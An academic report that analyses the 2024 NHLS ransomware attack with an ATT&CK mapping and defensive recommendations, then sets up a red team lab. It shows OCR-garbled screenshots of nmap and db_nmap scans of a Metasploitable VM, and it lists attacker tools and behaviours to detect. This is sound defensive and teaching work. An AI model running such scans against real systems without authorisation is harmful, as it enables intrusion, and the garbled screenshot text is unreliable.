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1 Abstract

This report examines the evolution of offensive security from traditional penetration testing to advanced practices such
as Adversary Emulation and Red Team operations. By analyzing a recent major cyber incident, the study identifies
attacker tactics and applies these insights to design a realistic red team engagement on a simulated corporate network.
The objective is to move beyond vulnerability identification and demonstrate how advanced threats operate, while
providing actionable strategies to strengthen organizational security and reduce business risks.

2 Introduction

Robust cybersecurity measures are essential in today's digital world, with sophisticated attacks [1] . Right now,
Penetration testing and vulnerability assessment are vital for identifying and addressing security threats in business
networks, systems, and online applications [1] [2]. Vulnerability assessment selects and finds security flaws using both
automatic and human-based techniques to disclose vulnerabilities before attackers do [1] [2]. Penetration testing, on
the other hand, aims to take advantage of these vulnerabilities to examine how successfully security measures prevent
unwanted access [1] [2]. Vulnerability assessment and penetration testing both aim to identify and address security
vulnerabilities, but they do so in different ways. Vulnerability assessment focuses on finding potential weaknesses; on
the other hand, penetration testing tries to target such faults in a controlled setting [2] . These techniques are very
important for maintaining the security of an organization's computer systems, networks, and applications. They are
regularly employed as part of a full security testing and assessment program [2].

3 Literature Review

This paper focuses on two tasks. Firstly, it examines a recent major cyberattack to understand how and why it happened.
Then, secondly, based on incident requirements, it simulates a realistic red team exercise, which is to act like a highly
skilled hacker and try to break into CPC’s systems, just like a real advanced persistent threat (APT) would, to see how
strong their security really is.

4 Task1

Here will be discussed a detailed examination of a single, sophisticated, and recent cybersecurity attack.
4.1 Case Selection

The National Health Laboratory Service (NHLS) in South Africa was the target of a ransomware attack in June 2024,
which is an important cyber incident in the African healthcare sector [3]. Many patients in the nation, between 80 to 85
percent, are supported by the NHLS, which is basically the foundation of public diagnostic services. As a result, its impact
affected hospitals and clinics across the country [3].

4.2 Executive Summary of Case

A ransomware attack on 22nd June 2024 caused NHLS to lose access to key laboratory IT systems, interfere with
laboratory information system (LIS) communications, and delete portions of production and backup infrastructure [3][4].
As a result, urgent results need to be communicated over the phone and contribute to large test backlogs across public
facilities [3] [4]. Official statements highlighted "no patient data lost" while accepting severe operational losses and the
need to repair systems [3] [4] . After testimony and media reports linked initial access to phishing and accused the



BlackSuit extortion outfit as the culprit [3] [4]. The BlackSuit (Royal) ransomware group later claimed responsibility and
asserted exfiltration of approximately 1.2 TB of data [3][4].

4.3 Case Incident Timeline

e 22-26 Jun 2024: If NHLS detects a ransomware compromise, systems are shut down to limit further harm.
Databases and LIS cannot communicate. A preliminary examination found that no patient data was lost [3].

e 25 Jun 2024: Recorded Future News reports “Deletion of backup servers and manual/telephonic result
dissemination amid a national mpox response” [5].

e 3-8 Jul 2024: Recovery continues; WebView portal remains offline. A critical test list is issued to triage
workloads; mid-July restoration is projected [6].

e 5-12 Jul 2024: BlackSuit claims responsibility and around 1.2 TB of exfiltration. NHLS repeats its no-negotiation
stance [7].

e 15 Jul 2024: NHLS publishes an interim eLABS approach for TB/HIV historical results and phased service
restoration [6].

e 22 Aug 2024: SA Department of Health announces full restoration of NHLS operations and future cybersecurity
fortification [8].

o Dec 2024: A peer-reviewed article in the South African Medical Journal comments on the ramifications,
immediate actions, and continuity planning advice taken from departmental experience with the attack [9].

4.4 MITRE ATT&CK Enterprise Mapping of Adversary TTPs

The following diagram is the process of the attack lifestyle:
Initial access
Execution

Persistence

Privilege Escalation / Credential Access

Defence Evasion

Discovery

Lateral Movement

Collection / Exfiltration

Impact

Figure 1: Attack Lifestyle process

In the following Table 1 some techniques apply the MITRE ATT&CK matrix to report BlackSuit campaigns and observed
activities in NHLS. There is supporting documentation for technique IDs.



Tactic Technique (ID) Explanation

Initial Access Spear phishing (T1566.001/002) Employee clicked phishing link (parliament
testimony) [10] [11].

Execution PowerShell (T1059.001) Scripted staging & execution observed in BlackSuit
intrusions [10] [11] [12]

Persistence Run Keys/Startup (T1547.001) Common persistence path in ransomware
campaigns. [3][11] [12]

Privilege Escalation / Kerberoasting (T1558.003); OS ReliaQuest observed Kerberoasting and credential
Credential Access Credential Dumping (T1003) access.[10][13][11]
Defense Evasion Inhibit System Recovery (T1490) Shadow copies/backup deletions; NHLS reported

backup server deletions. [11]

Discovery System/Network Discovery (T1082, Discovery tools (ADFind/SharpHound/Cobalt Strike).
T1046) (31[5][11] [12]
Lateral Movement RDP (T1021.001), SMB/Admin Lateral tool transfer and PsExec execution. [13][11]

shares/PsExec (T1021.002)

Command & Control Web protocols/SystemBC (T1071.001) Cloud- fronted beacons/proxy C2. [11] [12]
Exfiltration Exfiltration over Alt Protocol (FTP) Data theft before encryption (double extortion).
(T1048) [13][11]
Impact Data Encrypted for Impact (T1486) Final ransomware encryption phase.[3][7][11]

Table 1:TTPs Mappings

4.5 Root-Cause Analysis (Technical, Architectural, Human factors)
4.5.1 Human factors

According to information presented to Parliament, a phishing click opened the door through which BlackSuit
gained access (yet another indicator of breaches that came down to security awareness, and failings in email
controls [10].

4.5.2 Architectural/technical debt

NHLS management admitted on record to outdated facilities that couldn't be patched/updated, implying
technical debt, which increased exploitability and delayed bounce-back [10].

4.5.3 Backup/BCP issues

Deleting backups and portal outages show weaknesses in the backup immutability/segmentation and single
points of failure between LIS, data warehouse, and serving services, blasting radius is increased [3][8].




4.5.4

4.5.5

4.5.6

Threat tactics

BlackSuit/Royal TTPs often involve credential theft, lateral movement over SMB/RDP, and the destruction of
recovery artifacts, which is consistent with the NHLS symptoms, and a double-extortion model as reported by
media and industry [13].

Monitoring gaps

NHLS reported ongoing attacks following the intrusion, necessitating additional security layers and shutdowns;
this shows inadequacies in continuous monitoring, threat intelligence, and incident containment orchestration

[3].
Public health implications

A peer-reviewed SAMIJ article highlights healthcare cyberattack variants operational fragility and “unavoidable”
call for business continuity plans in laboratory services; larger studies connect ransomware to delayed care,
worse patient outcomes, strengthening that resilience shortfalls directly hazard patient safety [9].

4.6 Strategic Recommendations

4.6.1

4.6.2

4.6.3

Prevention

Phishing-resistant MFA for email/VPN; DMARC/DKIM/SPF, attachment sandboxing, link isolation; continuous
user training targeted to healthcare phish variants [14].

EDR/XDR with behavioral ransomware blocking (e.g., vssadmin/shadow copy tamper alerts), and server
application allow-listing; adopt ATT&CK-informed detection engineering [15] .

Architecture

Immutable, offline, and segmented backups (3-2-1-1-0), credential separation, and routine restore testing under
NIST SP 800-184 recovery playbooks [15].

Network/identity segmentation (tiered domains, admin plane isolation), least privilege, and strong service
account governance to blunt Kerberoasting and SMB/RDP lateral movement [13].

Separate critical lab systems (LIS, data warehouse, portals) with brokered interfaces to reduce cascade failures
seen during the outage [3].

Detection

Detections for PowerShell abuse (T1059.001), shadow copy deletion (T1490), AD reconnaissance (ADFind/
SharpHound), PsExec/ SMB movement, and FTP exfiltration (T1048); hunt for Cobalt Strike/ SystemBC beacons
(T1071.001) [13].

Using CISA ‘Best Practices for ATT&CK Mapping’ to continuously identify and close gaps; monitor I0Cs/TTPs from
[14][15].

Incident runbooks and tabletop exercises with NIST SP 800-184 metrics; simulate dissemination failover (e.g.,
eLABS) [15].



4.6.4 Rate the Threats

According to [16], Risk prioritization is a fundamental element in the threat modeling approach. Security teams may
prioritize their limited time and resources by methodically assessing risks based on their likelihood and possible effect.
This pragmatic approach ensures that the most serious risks are mitigated as soon as possible, while also realizing that it
may not be viable or cost-effective to handle every single potential hazard, particularly those with a very low likelihood
of occurring.

4.6.4.1 Calculation of Risk

As described by [16], Risk is measured as the probability of a damage potential (Risk = Probability * Damage Potential).
Both probability and damage potential have a range from 1 to 10, with higher numbers indicating a greater impact. This
model shows how even a low-probability, high-impact threat may be as much of a source of danger as the more
apparent high-probability/low-consequence situation. The resulting risk score is between 1 and 100, which corresponds
to Low, Medium, and High levels of risk.

4.6.4.2 Calculation of Ratings

As reported by [16], using a simple High, Medium, or Low scale to prioritize threats. High threats are those that could
cause the maximum level of impact to the application and must be dealt with straight away, as they may result in high
security, operational, or reputational damage. There is also an address is medium threats, but these can be addressed in
less urgent ways that might involve planned controls or future defects. Low threats present little risk and might be
tolerated or ignored, especially if the mitigation introduces more than it eliminates.

4.6.4.3 DREAD Threat Model

The risk is calculated using the DREAD (Damage potential, Reproducibility, Exploitability, Affected Users, and
Discoverability) threat model [16]. With the help of the DREAD model [16], used to rate and rank the threats for the
selected attack vectors found in the NHLS ransomware incident. Scores and risk ratings are listed in Table 2

Threat D R E A D Total Avg Rating
Phishing initial access 8 9 8 8 8 41 8.2 High
Privilege Escalation + lateral movement 9 7 7 9 7 39 7.8 High
(Kerberoast/RDP)
Backup sabotage (shadow copy/backup deletion) 10 8 7 8 6 39 7.8 High
Data exfiltration (FTP/cloud/leak) 8 7 6 7 7 35 7.0 High
Unencrypted login requests 5 8 6 6 8 33 6.6 Medium

Table 2: DREAD Threat Modeling

High-risk threats like phishing-based initial entry, privilege escalation, and backup sabotage need to be addressed
instantly. Recommended mitigations include phishing-resistant MFA, privileged access locking down, and immutable
backups. Average issues with unencrypted login requests, for example, should also be knocked off to lower risk.




4.6.5 Governance & Policy

e Utilize peer-reviewed evidence and sector statistics to prioritize identification, backups, segmentation, and SOC
capabilities [17].

e Use financial crime/ransom patterns to support no-pay rules, law enforcement involvement, and data loss
mitigation measures [18].

5 Discussion

Attack on NHLS provides a clear demonstration, how one successful phishing attack can turn into a sector-wide
disruption when backups, segmentation, and privileged identity are all weak. It also shows the “double- extortion”
pressure tactic, and the need for open, non-negotiable attitude in preserving clinical continuity through alternative
transitory channels (telephone contact, papers printed result, eLABS). Finally, it amplifies the real-world ransomware in
healthcare paradigm that has been documented by both industry and peer-reviewed research; attacks not only occur
often and are expensive, but they’re patient-safety relevant, requiring threat-informed defense and tested recovery
[31[7][9][10].

6 Task?2

Here, the focus is on simulating the actions of an Advanced Persistent Threat (APT) actor to realistically assess Cureton
Pharmaceutical Company’s security defences and identify potential risks to its intellectual property.

6.1 Operation IP Shield - Red Team Engagement

6.1.1 Campaign Design
6.1.1.1 Rules of Engagement (RoE)

A clearly defined RoE ensures red team activities are ethical, legal, and aligned with organizational objectives. The RoE
limits testing to synthetic data within the on-premises Active Directory, the AWS-hosted clinical trial portal, and the
CI/CD pipeline. Destructive actions, denial-of-service attacks, and interaction with real customer data are explicitly
excluded.

To identify potential risks, a small virtual lab is set up using “Oracle VirtualBox”. This lab represents key parts of the
target environment. For that there will be Four virtual machines are going to be used:

1. KaliLinux as the attacker system, named “Kali2019”
2. Metasploitable to simulate a vulnerable cloud service, named “AWS VPC'
3. OWASP Broken Web Applications to represent insecure Cl/CD applications, named “CI-CD”
4. Windows Server to model the R&D Active Directory network, named “R&D AD”
Together, these systems create a realistic and safe environment for simulating attacks and evaluating security controls.

To illustrate, Figure 2 Shows the full environmental process of the host machine that uses a virtual machine to emulate
vulnerability assessment
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Campain Design

Host
Machine

Interface
Virtual Acting as
Gateway Gateway
v hd ¥
-
| re
Attacker I.. '.I
i Windows Server
. OWASP Metasploitable it
Kali Linux VM

VM

Figure 2: Campaign Design with Environmental Process

To emulate a vulnerability assessment, the following tools are used, each serving a specific purpose in the assessment

process:

e Kali Linux: Kali Linux is the primary operating system for vulnerability testing. Including a large amount of built-in
security and penetration testing tools, it’s suitable for scanning, testing, and analysis. [19]

e Metasploitable: Metasploitable is a vulnerable virtual machine used as a testing target. Allows vulnerability
assessment tools to be safely tested without impacting real systems.

e Nmap: Nmap is for network scanning and discovery. It helps identify active hosts, open ports, running services,
and  operating systems, which is for understanding the network attack surface.
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e DB_nmap: DB_nmap detects database services. It helps to expose database ports and insecure database
configurations that may be exploited.

e Burp Suite: Burp Suite is a testing tool for web applications. It detects web traffic and common vulnerabilities
such as SQL injection, cross-site scripting (XSS), and weak points.

e Nessus: Nessus is for automated vulnerability scanning. It detects hosts, vulnerabilities, recommended
remediation actions, and notes [20].

6.1.1.2 Threat Emulation Plan

The attacker is trying to obtain access using Cl/CD flaws rather than noisy technical vulnerabilities. After gaining access,
only built-in system and cloud tools are utilized to navigate the network and avoid detection. The attacker gains access
to a dummy research dataset and exfiltrates it via traffic that seems to be standard cloud connectivity.

6.1.2 Environment & Execution
6.1.2.1 Attack Narrative

The attack narrative describes a threat simulation strategy that acts like a genuine attacker. It starts with Nmap and
DB_nmap scanning for open ports and services. Burp Suite searches online apps for common security flaws, whereas
Nessus looks for known vulnerabilities and misconfigurations. Metasploitable is then used to show how to exploit a
susceptible victim. This method aids in identifying flaws and improving defenses prior to an actual attack. In Figure 3 to
demonstrate how the attack will happen.

Virtual Machine

AWS VPC
Metwork

Y

[ — Y 1 T T T
kKali (Host Network) CI-CD
Metwork

R&D AD
Metwork

Figure 3: Emulation Narrative
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6.1.2.2 Environment Design

The lab environment is designed to resemble and feel like CPC's actual system. It covers office systems like Active
Directory, user workstations, R&D file servers, and AWS VPC-hosted cloud services.

In the VirtualBox -

e Kali installation: From Figure 5 to Figure 8 show the steps of installation of Kali Linux. For that, the VM name will
be “Kali2019”, the OS, OS Distribution, and OS version will be according to “Linux”, “Other Linux”, and “Other
Linux (64-bit)”. Because the main emulator will be from Kali Linux, for that “Base Memory”, “Number of CPUs”
should be high. After importing the VM from the local disc, and network should be attached to “Bridge Adapter”.

File  Machine  Help

2 New Virtual Machine

W Virtual ma

Linux

on  Other Linux

Cancel

=, Q search

Figure 5: Installation process of Kali - 1
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File  Machine  Help

2 New Virtual Machine

> Virtual machine name and operating system
> Setup unattended guest OS installation

> Specify virtual hardware

v Specify virtual hard disk

(O) Create a New Virtual Hard Disk

Figure 6: Installation process of Kali - 2

A

Hard Disk File Type and Format

oD
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© Use an Existing Virtual Hard Disk File
Kali Linux 2019.3 (64bit).vdi (Normal, 500.00 GB)

/7‘ Create Virtual Machine Without a Virtual Hard Disk

J Light rain mr
] Q search
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Figure 7: Installation process of Kali - 3
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Figure 8: Installation process of Kali - 4

e AWS VPC Installation: Figure 9 to Figure 12 illustrate the process of installing Metasploitable. For that, the VM
name will be “AWS VPC”, the OS, OS Distribution, and OS version will correspond to “Linux”, “Other Linux”, and
“Other Linux (32-bit)”. “Base Memory”, “Number of CPUs” should be minimum. After importing the VM from
the local disc, the network should be attached to “Bridge Adapter” with “Allow all”.
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© New Virtual Machine

v Virtual machine name and operating system
VM Name  AWS VPC
VM Folder I DAUWTSD\MyVM\Vms

150 Image  <not selected>
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> Specify virtual hardware
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Cancel
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Mostly cloudy
Figure 9: Installation process of AWS VPC - 1
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Figure 10: Installation process of AWS VPC - 2
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Figure 11: Installation process of AWS VPC - 3
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Figure 12: Installation process of AWS VPC - 4
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e CI/CD Installation: Figure 13 to Figure 16 highlight the methods of installing OWASP. For that, the VM name will
be “CI-CD”, the OS, OS Distribution, and OS version will follow “Linux”, “Other Linux”, and “Other Linux (32-bit)".
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“Base Memory”, “Number of CPUs” should be minimum. After importing the VM from the local disc, the
network should be attached to “Bridge Adapter” with “Allow all”.
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Figure 13: Installation process of CI-CD - 1
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Figure 14: Installation process of CI-CD - 2
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Figure 15: Installation Process of CI-CD - 3
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Figure 16: Installation Process of CI-CD - 4

e R&D AD Installation: looking into Figure 17 to Figure 20 explains the techniques of installing Windows Server.
For that, the VM name will be “R&D AD”. Before that, from the Local disc, it should be imported. It will take all
the necessary steps itself, and finally, the network should be attached to the “Bridge Adapter” with “Allow all”.
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Figure 17: Installation process of R&D - 1
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Figure 18: Installation process of R&D - 2
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Figure 19: Installation process of R&D - 3
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The Figure 21 below shows that, after all the installation, the VirtualBox should be like this.
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Figure 21: The whole environment

6.1.2.3 Execution Approach

The attack simulation is conducted with caution to prevent any harm. The method uses system tools and moderate, low-
profile operations to remain quiet and less noticeable. There are no actual exploits or malicious behaviors. Instead, the
experiment demonstrates how data may be accessed and shared safely in an academic atmosphere.

e Kalito AWSVPC-
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Figure 22: Ping test from Kali to AWS VPC process

Figure 22 shows a successful ping test from the Kali machine to the AWS VPC, confirming that network connectivity

between the two environments is working.
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Figure 23 explain the use of Nmap from Kali to check connectivity and discover open services on the AWS environment.
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Figure 24: Db_nmap from Kali to AWS VPC

Figure 24 illustrates DB_nmap being used from the Kali system to identify accessible database services within the AWS
VPC.
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Machine Help

W Kali2019 [Running] - Oracle VirtualBox

file  Machine  View  Input  Devices  Help

Applications = Places * [ Terminal ~ Wed12:39 File Machine View Input Devices Help

tp:~shelp.ubuntu.cons
mail.
Edit View Search Terminal Help fadnin@netasploitable:™§
Aevass N adninénetasploitable:”3
3 avas o adnin@netasploitable:”$ ifconfig
Link encap: t Hiaddr 08:00:27 54:d3
msf5 > db_nmap -sV 16.86.5.3 inet addr:10.86.5.3 Bcast:10.86.255.255 Mask:255.255.0.0
Nmap: Starting Nmap 7.88 ( https://nmap.org ) at 2825-12-83 12:36 EST ineth addr: feB0::a00:27ff:feZb:54d3,64 Scope:Link
] Nmap: Stats: 8:01:26 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Nmap: Service scan Timing: About 95.65% done; ETC: 12:38 (0:00:84 remaining) RX packets:173 errors:® dropped:@ overruns:@ f
Nmap: Stats: 0:01:54 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan ”Ill"“ kets e L" ‘“l‘J'Il]’g"“"‘ overruns:@ car:
1 Nmap: yitics - : . 12 -00: 2 collisions:@ txqueuelen: 1008
1 xmdp: xss Tining: Ahu:tfg?,igzggnges ETC: 12:38 (0:00:80 remaining) RX byten:10994 ¢10.5 KB> TR bytes:7816 (7.6 KB
map: Nmap scan report for 10.86.5. Base address:0xd026 Menory:f0200000-10220008
Nmap: Host is up (0.858s latency).

I
In

I+

I

[

]

[*] Nmap: Not shown: 977 clesed ports Link encapiLocal Loopback

[*] Nmap: PORT STATE SERVICE VERSION > .0.0.1 Mask:255.6.6.0

[*] Nmap: 21/tcp open ftp vsftpd 2.3.4 ineth addr: ::1,128 Scope:Hos

[#] Nmap: 22/tcp open ssh OpenSSH 4.7p1 Debian Bubuntul (protocol 2.8) UP LOOPBACK RUNNING NTU:16436 Metric:l
I»

I*

5

[+

*1

I*

[*1

*1

root@osboxes:

Nmap: 23/tcp  open telnet Linux telnetd RX packets:186 grrors: dropped:@ overruns
X packets:106 errors:0 dropped:0 overrums:
collisions:0 txqu

Nmap: 25/tcp open smtp Postfix smtpd g
RX bytes:25769 (25.1 KB) TX bytes:25709 (25

Nmap: 53/tcp open domain ISC BIND 9.4.2
Nmap: 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)
Nmap: 111/tcp open rpcbind 2 (RPC #100888) adnin@netasploitable:=§ i
Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) z
Nmap: 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) B OMET ¢ MBI @D righ:
Nmap: 512/tcp open exec netkit-rsh rexecd

] Nmap: 513/tcp open login
Nmap: 514/tcp open tcpwrapped

] Nmap: 1099/tcp open java-rmi  GNU Classpath grmiregistry

] Nmap: 1524/tcp open bindshell Metasploitable root shell

| Nmap: 2049/tcp open nfs 2-4 (RPC #100003)
Nmap: 2121/tcp open ftp ProFTPD 1.3.1

1 Nmap: 3306/tcp open mysql MySQL 5.0.51a-3ubuntus

1 Nmap: 5432/tcp open postgresql PostgresQL DB 8.3.0 - 8.3.7
Nmap: 5960/tcp open wnc WNC (protocol 3.3)

] Nmap: 60@0/tcp open X11 (access denied) Bridged Adapter, Realtek 8852BE Wireless LAN WiFi 6 PCI-E NIC)

Nmap: 6667/tcp open irc UnrealIRCd
Nmap: 8869/tcp open ajpl3?
Nmap: 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1
Nmap: MAC Address: 08:00:27:28:54:03 (Oracle VirtualBox virtual NIC)
] Nmap: Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cp
/o:linux:linux kernel
Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/
| Nmap: Nmap done: 1 IP address (1 host up) scanned in 134.83 seconds
msfs > i u
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Figure 25: Db_nmap -sV Command from Kali to AWS VPC

Figure 25 db_nmap -sV demonstrates the command being run from Kali to identify database services and their versions
within the AWS VPC.

Machine  Help

File Machine View Input Devices Help

Applications ~ Places * [ Terminal ~ Wed12:42
root@osboxes: ~

Edit View Search Terminal Help ‘.Awsvp(mummg],U,va‘nuamﬂx
Nmap: Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; 0Ss: Unix, Linux; CPE: cpe:/o:linux:linux k
File  Machine  View  Input  Devices  Help
Service detection performed. Please report any incorrect results at https://nmap.org/submit/
Nmap done: 1 IP address (1 host up) scanned in 134.83 seconds http://help.ubuntu.cons
0 nai
-4
Starting Nmap 7.86 ( https://nmap.org ) at 2825-12-83 12:39 EST n:{:;‘:;“:::;:::::l‘n;;::lj‘ i
Nmap scan report for 10.86.5.3 msfadninBnetasploitable:™§ ifconfi
1 Nmap: Host is up (0.819s latency). ethd Link encap:Ethernet HUaddr 08:00:27:2b:54:d3
Nmap: Not shown: 977 clesed ports inet addr:10.86.5.3 Bcast:10.86.255.2 Mask:255.255.0.0
*] Nmap: PORT STATE  SERVICE VERSION ineth addr: £eB0::ab@:27ff :fe2Zb:54d3/64 Scope:lLink
Nmap: 21/tcp  open ftp vsftpd 2.3.4 UP BROADCAST RUNNING HULTICAST HTU:1500 Metric:l
] Nmap: | ftp-anon: Anonymous FTP login allowed (FTP code 238) RX packets:173 errors:0 dropped:0 overruns:0 franc:®
Nmap: | ftp-syst: TX packets:?? errorsi0 dropped:0 overruns:® carrier:@
collisions:0 txqueuelen:1000
RX bytes:18994 (18.5 KB) TX bytes:7816 (7.6 KB)
S ERE s a Base add :6xd020 Menory : F0200000-0220000
Connected to 10.86.0.51
Logged in as ftp Link encap:Local Loopback
TYPE: ASCII inet addr:127.0.0.1 Mask:255.0.0.0
No session bandwidth limit ineth addr: ::1/128 Scope:Host
] Nmap: Sessian LineoE 1 setads 15 580 UP LOOPBACK RUNNING HTU:16436 Het 1
] Wmaps Contral connection & aluts tek: RX packets:166 errors:0 dropped:0 overruns:0 frame:0

|
| STAT:
|
|
|
|
|
|
Nmap: | Bits conRections MiiTbRl ARain TX packets:106 errors:0 dropped:0 averruns:0 carrier:®
|
|
2
|
|
|

Nmap:
Nmap:
] Nmap:
1 Nmap:
Nmap:
1 Nmap:

collisions:d txqueuelen:
*1 Nmap: vsFTPd 2.3.4 - secure, fast, stable RX bytes:Z5769 (Z5.1 KB> 1% bytes:25709 (25.1 KB)
Nmap: | End of status
1 Nmap: 22/tcp open ssh OpenSSH 4.7pl Debian 8ubuntul (protocol 2.@) msfadnin@nctasploitable:™5 i _
Nmap: | ssh-hostkey: %
*] Nmap: 1024 60:0f:cf:el:cB:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) L ﬁ’- E:E“HR“
Nmap: | 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
Nmap: 23/tcp open telnet Linux telnetd
] Nmap: 25/tcp  open smtp Postfix smtpd
Nmap: | smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, BBITMI
DSN, Wireless LAN WiFi 6 PCI-E NIC)
Nmap: | ssl-date: 2025-12-83T17:41:37+60:00; +2s from scanner time.
] Nmap: | sslv2:
] Nmap: | SSLv2 supported
Nmap: |  ciphers:
Nmap: | 5§5L2 RC2 128 CBC_EXPORT40 WITH MD5
Nmap: | S5L2_RC4 128 EXPORT4D WITH MD5S
1 Nmap: | SSL2_RC2_128_CBC_WITH_MDS
1 Nmap: | §5L2 DES 192 EDE3 CBC WITH MD5
Nmap: | SSL2_RC4_128_WITH_MD5
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Figure 26: Db_nmap -A Command from Kali to AWS VPC 1




From Figure 26 to Figure 28 the db_nmap -A command being used from Kali to perform an advanced scan, detecting
database services, versions, and additional information within the AWS VPC.

Machine Help

Machine  View Input  Devices Help

Applications = Places ~ [E] Terminal ~ Wed12:43
root@osboxes: ~

View Search Terminal Help @ AWS VPC [Running] - Oracle VirualBox
1 Nmap: §SL2 DES_192 EDE3 CBC WITH MD5

Nmap: S5L2_RC4_128_WITH_MDS File Machine View Input Devices Help

Nmap : SSL2 DES 64 CBC WITH MDS

Nmap: 53/tcp  open domain ISC BIND 9.4.2 http:sshelp.ubuntu.cons

Nmap: | dns-nsid: No natl -~

Nmap: |_ bind.version: 9.4.2 piadnin®actaspinltatle "
1 nsfadninGnetasploitable
Nmap: 80/tcp  open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) msfadnin@netasploitable:~$ ifconfig

] Nmap: |_http-server-header: Apache/2.2.8 (Ubuntu) DAV/2 ctho Link encap:Ethernet HWaddr 08:00:27:2b:54:d3

Nmap: | _http-title: Metasploitablez - Linux inet addr:10.86.5.3 Bcast:10.86.255.255 Mask:255.255.0.0
*] Nmap: 111/tcp open r'p[lll\ld 2 (RPC #160000) ineth addr: feB0::a00:27ff :feZb:54d43-64 Scope:Link
Nmap: 139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) UP BROADCAST RUNNING HULTICAST MTU:1500 Metric:1
*] Nmap: 445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP) BX packets:173 crrors:0 dropped:0 overruns:0 franc:0
Nmap: 512/tcp open exec netkit-rsh rexecd :‘lll:“;;\‘\_‘;‘(:;i"u:‘:L:“[;:}‘nje:r‘ © overruns:® carrier:9
Nmap: 513/tcp open Lo OpenBSD or Solaris rlogind RX bytes:18994 (10.5 KB TK butes:7816 (7.6 KB)

Nmap: 514/tcp open tcpwrapped Base address:0xd0Z0 Memory:f0200000-10220000

Nmap: 1099/tcp open java-rmi  GNU Classpath grmiregistry

Nmap: 1524/tcp open bindshell Metasploitable root shell Link encap:Local Loopback
] Nmap: 2049/tcp open nfs 2-4 (RPC #100003) inet addr:127.0.0.1 Mask:255.0.0.0

Nmap: 2121/tcp open ftp ProfFTPD 1.3.1 incth addr: ::1,128 Scope:Host

Nmap: 3366/tcp open mysgl MySQL 5.8.51a-3ubuntu’ UP LOOPBACK RUNNING NTU:16436 Met 1
1 Nmap: | mysgl-info: RX packets:106 errors:@ dropped:0 overruns:0 frane:0
“] Miap: | Protachi: 18 Txl.]uu\uu éuv; errors 0 gmypb :0 overruns:0 carricr:@

collisions xqu 0
1 :":iﬁ } :::Z;g“i; 2'5”'3“““‘“5 RX bytes:25769 (25.1 KB) TX bytes:25709 (25.1 KB)
“] Nmap: | Lapamut;ei flags: 435“1 . \ 5 et adwin@nctasploitable:™8 & _

] Nmap: some Capabilities: LongColumnFlag, SupportsCompression, Suppart4lAuth, SupportsTransactions, Speaks4lProtocolNew, :
chToSSLATterHandshake, ConnectWithDatabase HEsMOEN S0
*] Nmap: | Status: Autocemmit

] Nmap: | salt: 2°pl@emVIGj~zl.=+[i~

] Nmap: 5432/tcp open postgresql PostgresQL DB 8.3.8 - 8.3.7
“] Nmap: | ssl-date: 2625-12-83T17:41:384+00:808; +2s from scanner time. § -

*] Nmap: 59@0/tcp open vne VNC (protecol 3.3) Wireless LAN WiFi 6 PCI-E NIC)
Nmap: | wvnc-info:

] Nmap: | Protocol version: 3.3
Nmap: | Security types:

1 Nmap: | VNC Authentication (2)

] Nmap: 6088/tcp open X11 (access denied)

*] Nmap: 6667/tcp open irc UnrealIRCd

] Nmap: | irc-info:

] Nmap: | users: 1
*] Nmap: | server

$
$
$
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Figure 27: Db_nmap -A Command from Kali to AWS VPC 2

Machine  Help

File Machine View Input Devices Help

Applications ~ Places * [ Terminal ~ Wed12:45

root@osboxes: ~
View Search Terminal Help B preview
Nmap: 5960/tcp open vnc VNC (protocol 3.3)
Nmap: | vnc-info: @ AWS VPC [Running] - Oracle VirtualBox
Nmap: | Protocol version: 3.3
1 Nmap: | Security types: File Machine View Input Devices Help
*] Nmap: | VNC Authentication (2)
Nmap: 6868/tcp open X11 (access denied) http:/help.ubuntu.cons

Nmap: 6667/tcp open irc UnrealIRCd No mail
1 Nmap: | irc-info: nsfadnin@netasploitable

5 Tl nsfadningnetasploitable:”
Mmap; | tisErsnl nsfadninenctasploitable
*] Nmap: |  servers: 1 etho ¥ e r HWaddr 88:00:27:2h:54:43
Nmap: | lusers: 1 inet addr .86.5. Beast 255,255 Mask:255.255.0.9
] Nmap: | lservers: ® ineté addr: feB0::a00:2 fezb:54d3,64 Scope:Link
Nmap: | server: irc.Metasploitable.LAN UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Nmap: | version: Unreal3.2.8.1. irc.Metasploitable.LAN RX packets:173 errors:0 dropped:0 overruns:0 frame:0
Nmap: | uptime: @ days ™ TX packets:?? errors:0 dropped:0 overruns:0 carrier:0
1 B i collisions:0 txqueuelen:1000
| Nazp: | stupee ihes OREE RX bytcs:18994 (18.5 KB) TX bytes: 7816 (7.6 KB)
] Nmap: ‘ source host: CC35BCB9.EA856EDO.38DEB16O.IP .
Base address:0xd920 Menory:f0200000-f0ZZ0000
Nmap: |  error: Closing Link: vvbtswrfg[10.86.0.51] (Quit: vvbtswrfg)
] Nmap: 8e@9/tcp filtered ajpl3 Link encap:Local Loopback
] Nmap: 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 inet addr:127.0.0. Mask:255.90.0.0
] Nmap: MAC Address: 08:00:27:28:54:D3 (Oracle VirtualBox virtual NIC) ineté addr: ::1,128 Scope:Host
Nmap: Device type: general purpose UP LOOPBACK RUNNING NTU:16436 Metric:l
=] Nmap: Running: Linux 2.6.X RX packets:106 errors:0 dropped:0 overruns:0 frane:@
o TX packets:106 errors:0 dropped:0 overruns:0 carrier:0
_ Z = collisions:0 txquenelen:@
| Nmap: 0S details: Linux 2.6.9 - 2.6.33 RX bytes:25769 (25.1 KB) TX bytes:25709 (25.1 KB)
Nmap: Network Distance: 1 hep
